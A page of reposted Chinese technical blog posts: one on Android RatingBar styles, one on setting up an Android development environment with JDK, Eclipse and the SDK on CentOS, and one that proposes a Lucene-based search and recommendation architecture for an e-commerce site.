前提是下载android的源码,这里我就不讲了。在android framework\base\core\res\res\values(android framework是我保存源码的目录)目录下找到styles.xml文件,该文件是android系统运行时所要加载的文件,里面保存了所有组件的样 式定义。在里面你可以找到<style name=”Widget.RatingBar”>我们之前继承的其中一个组件样式,也有其他<style name=”Widget.RatingBar.Small”>、<style name=”Widget.SeekBar”>、<style name=”Widget.ProgressBar.Small”>等等。这样里面的属性我们继承后就可以被重写成其他的了。

项目:

http://files.cnblogs.com/not-code/testRatingBar.zip

[转载]Linux(centos)下Android环境的配置.

mikel阅读(1103)

[转载]Linux(centos)下Android环境的配置. – wilsonChan – 博客园.

Linux 下搭建Android环境 这几天在弄Linux,看到最近很火的Android,就尝试着在Linux上搭建一个Android的环境。

一直使用的是Centos就使用这个来作为开发的环境。

第一次配置大概弄了一整天,出现了很多的问题,同时也有解决问题的方法,可以作为参考,作为一个新手,如果有什么纰漏,还请各位大神指点。

-:安装JDK

没有使用Centos自带的JDK,选择重新安装,下载了最新版本的JAVA.

点击DownLoad选择Platform中的Linux,然后Continue。

选择需要的安装包,我选择的是“jdk-6u21-linux-i586-rpm.bin”

下载完成后添加权限

1 #chmod +x jdk-6u21-linux-i586-rpm.bin 2 然后执行 3 #./jdk-6u1-linux-i586-rpm.bin

如果过程中可能出现一些选择,直接yes

安装完成后查看当前系统jdk版本

1 #java -version

JDK安装完成后,进行IDE安装,我选用的是eclipse.

二.安装eclipse

这里使用的是Eclipse Classic 3.6.2.下载地址

同时在root文件夹中创建了Android文件夹,相关的IDE和sdk都保存在此。

Eclipse是绿色版,解压就可以用,解压完成,打开Eclipse设置workspace.

三.安装ADT(这一步很容易出问题)

我安装的是版本ADT-10.0.1.zip Android开发工具。
1. 启动 Eclipse, 然后进入 Help > Install New Software.
2. 在 Available Software 对话框里,点击 Add….
3. 出现 Add Site 对话框,在 Name 域里面输入一个名字 (如, “Android”) ,在 “Location” 域里面输入 https://dl-ssl.google.com/android/eclipse/
4. 注意:如果有问题,可以把 https 换成 http 试一下。点击 OK.
5. 回到 Available Software 界面,你应该看到 “Developer Tools” 。选取 checkbox 。点击 Next,  然后点击 Finish.进行安装。
6. 重起 Eclipse.

注意:

如果在下载这一步出问题的朋友,可以使用离线安装,下载ADT的文件,下载地址:http://dl.google.com/android/ADT-10.0.1.zip

解压到我们创建的Android工具文件夹中,然后用同样的方法定位。参看步骤3。

如果在安装插件的过程中,出现无法安装的问题,请安装 Google Plugin for Eclipse 3.6。

安装方法很简单,帮上面Location地址改成 http://dl.google.com/eclipse/plugin/3.6

详细安装方法请见.http://code.google.com/intl/zh-CN/eclipse/docs/install-eclipse-3.6.html

四.下载SDK.
for Linux版本. http://dl-ssl.google.com/android/repository/android-2.2_r01-linux.zip
需要知道的是这个 zip 包并不是一个完整的软件包。Android 软件包采用“组件”的形式,用户可以根据需要选取组件。

上述zip文件只包含了一个组件管理工具和一个基本的工具组件。

下载完成后解压到我们的Andoid文件夹中。

五.配置SDK.

1. 选取 Eclipse Window > Preferences…
2. 选择 Android
3. 点击 Browse… 定位 Android SDK 目录。例如我的目录:/home/Android/android-sdk-linux_86
4. 点击 Apply, 然后 OK.(会提示出错,肯定会出错..因为sdk的跟新还没有下载。)

六.跟新SDK

1.运行 Eclipse, 选取 Window > Android SDK and AVD Manager.
2.在左侧面板选择 Installed Packages
3.点击 Update All.
出现 Choose Packages to Install 对话,选择Accept All,点击Install
大概2GB的容量。想全部下载,睡个午觉或者干点别的什么吧(也可以选择自己需要的进行下载)。

下载完后.重启Eclipse,就可以信件Android Project.

注意:一般情况这个时候信件一个Project选择好模拟器就可以编译了..如果在编译中出现 找不到glibc2.7的错误

请看以下链接http://blog.sina.com.cn/s/blog_64a2c65a0100hl98.html 升级2.7.

最后编译成功.附上几张测试效果图

分类: else

[转载]电子商务网站搜索架构方案

mikel阅读(1092)

[转载]电子商务网站搜索架构方案 – 叶鹏 – 博客园.

说是电子商务搜索架构方案,其实就是lucene.net的应用,公司庙小,人少,也就自己平时看看,以前做过一点例子,这样就被拉上去写架构方案了。 我这个懒惰的家伙,在网上疯狂的搜集搜索架构方面的东西,因为做做架构,暂时没写代码,每天就看人家博客,结果两个星期了才弄了个大概的草图,这不清明节 过后就要详细方案了,现在只能把我的草图分享一下,希望大家板砖伺候,闷在家里鼓捣比较郁闷啊,效率太低。

基于lucene的搜索方案

一、            Lucene 简介

Lucene是apache的一个顶级开源项目,由java实现的全文检索引擎,能基于各种文档格式的全文索引和检索,包括word、pdf,不包括图形类。

Lucene.net 是C#版的lucene 是由java的lucene翻译过来的,也被apache列为开源项目对外发布,功能和java的基本一样,但是由于缺乏良好的技术支持和社区活跃度,目前已被apache放入孵化器

Lucene写入:源文件经过analyzer处理,包括分词,权重处理、生成document记录,写入存储器(硬盘或者内存)。

Lucene 读出:对搜索关键词进行analyzer处理,包括分词、权重、范围匹配处理.源码结构图如下:

具体流程如下图:

数据流图如下:

二、常用推荐引擎算法问题

采用基于数据挖掘的算法来实现推荐引擎是各大电子商务网站、SNS社区最为常用的方法,推荐引擎常用Content-Based 推荐算法及协同过 滤算法(Item-Based 、User-based)。但从实际应用来看,对于大部分中小型企业来说,要在电子商务系统完整采用以上算法还有很大的难 度。

1)、相对成熟、完整、现成的开源解决方案较少

粗略分来,目前与数据挖掘及推荐引擎相关的开源项目主要有如下几类:

数据挖掘相关:主要包括Weka、R-Project、Knime、RapidMiner、Orange 等

文本挖掘相关:主要包括OpenNLP、LingPipe、FreeLing、GATE 、Carrot2 等,具体可以参考LingPipe’s Competition

推荐引擎相关:主要包括Apache Mahout、Duine framework、Singular Value Decomposition (SVD) ,其他包可以参考Open Source Collaborative Filtering Written in Java

搜索引擎相关:Lucene、Solr、Sphinx、Hibernate Search等

2)、常用推荐引擎算法相对复杂,入门门槛较高

3)、常用推荐引擎算法性能较低,并不适合海量数据挖掘

以上这些包或算法,除了Lucene/Sor相对成熟外,大部分都还处于学术研究使用,并不能直接应用于互联网规模的数据挖掘及推荐引擎引擎使用。

(以上都是基于java的,需要自己去研究实现,有很大难度)

备注:除了分类查找和主动搜索,推荐系统也是用户浏览商品的重要途径,能帮助用户发现类似并感兴趣的产品,增加商品的访问量,将访问者转化为购买者,引导用户购买。最终产生的价值是提升用户购物体验和用户粘度,提高订单量,如Amazon30%的订单来自推荐系统。

采用Lucene实现推荐引擎的优势

对很多众多的中小型网站而言,由于开发能力有限,如果有能够集成了搜索、推荐一体化的解决方案,这样的方案肯定大受欢迎。采用Lucene来实现推荐引擎具有如下优势:

1)、Lucene 入门门槛较低,大部分网站的站内搜索都采用了Lucene

2)、相对于协同过滤算法,Lucene性能较高

3)、Lucene对Text Mining、相似度计算等相关算法有很多现成方案

在开源的项目中,Mahout或者Duine Framework用于推荐引擎是相对完整的方案,尤其是Mahout 核心利用了Lucene,因此其架构很值得借鉴。只不过Mahout目前功能还不 是很完整,直接用其实现电子商务网站的推荐引擎尚不是很成熟。只不过从Mahout实现可以看出采用Lucene实现推荐引擎是一种可行方案。

3、采用Lucene实现推荐引擎需要解决的核心问题

Lucene对于Text Mining较为擅长,在contrib包中提供了MoreLikeThis功能,可以较为容易实现Content-Based的推荐,但对于涉及用户协 同过滤行为的结果(所谓的Relevance Feedback),Lucene目前并没有好的解决方案。需要在Lucene中内容相似算法中加入用户协同过滤行为对因素,将用户协同过滤行为结果转化 为Lucene所支持的模型。

推荐引擎的数据源

电子商务网站与推荐引擎相关典型的行为:

购买本商品的顾客还买过

浏览本商品的顾客还看过

浏览更多类似商品

喜欢此商品的人还喜欢

用户对此商品的平均打分

因此基于Lucene实现推荐引擎主要要处理如下两大类的数据

1)、内容相似度

例如:商品名称、作者/译者/制造商、商品类别、简介、评论、用户标签、系统标签

2)、用户协同行为相似度

例如:打标签、购买商品、点击流、搜索、推荐、收藏、打分、写评论、问答、页面停留时间、所在群组等等

5、实现方案

5.1、内容相似度 基于Lucene MoreLikeThis实现即可。

5.2、对用户协同行为的处理

1)、用户每一次协同行为都使用lucene来进行索引,每次行为一条记录

2)、索引记录中包含如下重要信息:

商品名、商品id、商品类别、商品简介、标签等重要特征值、用户关联行为的其他商品的特征元素、商品缩略图地址、协同行为类型(购买、点击、收藏、评分等)、Boost值(各协同行为在setBoost时候的权重值)

3)、对评分、收藏、点击等协同行为以商品特征值(标签、标题、概要信息)来表征

4)、不同的协同行为类型(例如购买、评分、点击)设置不同的值setBoost

5)、搜索时候采用Lucene MoreLikeThis算法,将用户协同转化为内容相似度

以上方案只是基于Lucene来实现推荐引擎最为简单的实现方案,方案的准确度及细化方案以后再细说。

更为精细的实现,可以参考Mahout的算法实现来优化。

其他搜索引擎开源工具推荐:Sphinx,目前是基于出自俄罗斯的开源全文搜索引擎软件Sphinx,单一索引最大可包含1亿条记 录,在1千万条记录情况下的查询速度为0.x秒(毫秒级)。Sphinx创建索引的速度为:创建100万条记录的索引只需3~4分钟,创建1000万条记 录的索引可以在50分钟内完成,而只包含最新10万条记录的增量索引,重建一次只需几十秒。

Sphinx 是一个基于 GPL 2 协议颁发的免费开源的全文搜索引擎.它是专门为更好的整合脚本语言和SQL数据库而设计的.当前内置的数据源支持直接从连接到 的 MySQL 或 PostgreSQL获取数据, 或者你可以使用 XML 通道结构(XML pipe mechanism , 一种基于 Sphinx 可识别的特殊xml格式的索引通道)

基于LAMP架构的应用很广泛,目前了解的商业应用有康盛的Discuz企业版。

三、手机之家的搜索方案(参考用)

手机之家目前的Lucene应用,采用的是Lucene 2.4.1 + JDK 1.6(64 bit)的组合,运行在8 CPU, 32G内存的机器上,数据量超过3300万条,原始数据文件超过14G,每天需要支持超过35万次的查询,高峰时期QPS超过20。单看这些数据可能并没 有大的亮点,但它的重建和更新都是自动化完成,而且两项任务可以同时运行,另一方面,在不影响服务可靠性的前提下,尽可能快地更新数据(如果两者发生冲 突,则优先保证可用性,延迟更新),其中的工作量还是非常大的

PPT连接 http://www.slideshare.net/tangfl/lucene-1752150

在大规模的应用中,Lucene更适合用于狭义的“搜索”,而不应当负责数据的存储。我们看看Lucene的源代码也可以知道,Document和 Field的存储效率是不够好看的。手机之家的团队也发现了这一点,他们的办法是,用Lucene存放索引,用Memcache + Berkeley DB(Java Edition)负责存储。这样有两个好处,一是减轻了Lucene的数据规模,提高了程序的效率;另一方面,这套系统也可以提供某些类似SQL的查询功 能。实际上,Lucene本身似乎也注意到了这个问题,在Store中新增了一个db的选项,其实也是利用的Berkeley DB。

在大规模应用中,Cache是非常重要的。PPT中也提到,可以在程序提供服务之前,进行几次”预热“搜索,填充Searcher的Cache。据 我们(银杏搜索)的经验,也可以在应用程序中,再提供针对Document的Cache,这样对性能有较大的改善。Lucene自己似乎也注意到了这个问 题,在2.4版本中提供了Cache,并提供了一个LRU Cache实现。不过据我们测试,在极端情况下,这个Cache可能会突破大小限制,一路膨胀最后吃光内存,甚至从网络上找的许多LRU Cache实现在极端条件下都有可能出现这样的问题,最终自己写了一个LRU Cache,并修改多次,目前来看是稳定的。

在编写Java服务程序的时候,记得设置退出的钩子函数(RunTime.getRunTime.addShutdownHook)是一个非常好的 习惯。许多Java程序员都没有这种意识,或者有,也只是写一个finalize函数,结果程序非正常退出时,可能造成某些外部资源的状态不稳定。拿 Lucene来说,之前的IndexWriter是默认autoCommit的,这样每添加一条记录,就提交一次,好处是如果中断,则之前添加的记录都是 可用的,坏处则是,索引的速度非常低。在新版本中autoCommit默认为False,速度提升明显(我们测试的结果是,提高了大约8倍),但如果中途 异常退出,则前功尽弃。如果我们添加了退出的钩子函数,捕获到退出信号则自动调用writer.close()方法,就可以避免这个问题。

目前的Lucene是兼容JDK 1.4的,它的binary版本也是JDK1.4编译的,如果对性能要求比较高,可以自行下载Lucene Source Code,用更新版本的JDK编译出.jar文件,据我测试,速度大约有30%的提升。

四、            XX网搜索方案

4.1 初步解决方案:

实现站内产品的分词搜索、推荐关键词和简单排序,定时自动更新,索引读写分离。

基于服务器的搜索压力大,用户的搜索体验不够有好,初步解决方案目标是解决服务器的搜索压力,实现初步的分词搜索,索引的自动定时维护。

4.1.1 数据库产品表分析:

l        大类基表

l        产品分类扩展基表

l        品牌基表,品牌系列表基表

l        产品基表(主表)

l        颜色基表

产品基表的数据大概在8万条左右,占用空间40m左右,单表数据量相对来书还是比较小的。

4.1.2  Lucene索引程序:

通过lucene的索引程序将库里的数据读入流,然后写入lucene自定义的索引文件,这个索引文件不进行搜索操作,需要完成后替换到搜索索引。 在建立索引的过程中进行分词处理,分词组件采用eaglet开发的盘古分词组件(已基于apache开源协议开源,进一步功能需要自己二次开发)。

4.1.3  Lucene索引库:

基表的索引文件大概在100m左右,分为写入时的库和搜索时用的库,写入库完成后并入搜索库,考虑到新索引合覆盖就索引的瞬间可能产生的索引程序错误或者索引文件损坏,在覆盖的同时通过程序控制让搜索程序读取写索引里的文件。

l        搜索处理services:基于产品库的的搜索,如品牌,分类,价格区间。搜索程序依赖于接口,基于数据库的搜索和基于文件的搜索要按需要随时切换。搜索的同时需要利用分词组件分词处理,对分词后的结果进行检索,数据库检索的暂时不做分词处理。

l        查询处理:查询前台程序使用mvc,实现产品的分词高亮显示,按照类别分类查询,品牌分类查询,价格区间查询。

4.2 第二步关键词统计:

搜索关键词的搜集和搜索的联合处理,实现简单的搜索推荐功能。主要是对前台的搜索关键字进行统计分析,并与搜索的排序进行关联,关键词的处理和与主表的关联索引方案等初步处理完成后再做完整解决方案。

4.3 第三步优化完善:

实现索引文件的基于消息的增量自动更新,权重计算,推荐产品计算研究,实时搜索的研究。权重计算,需要重新开发自己的向量算法引擎,考虑当中。

实时搜索目前在学习当中。

4.3.1 权重计算

权重计算方法会将前台用户的统计数据和产品库进行关联开发一套天天网产品的权重排序计算方法,以下算法流程图只是一个构思。

权重计算设计

4.3.2 索引自动化更新

建立基于消息机制的一个索引更新与维护机制。

基于消息队列的索引生成程序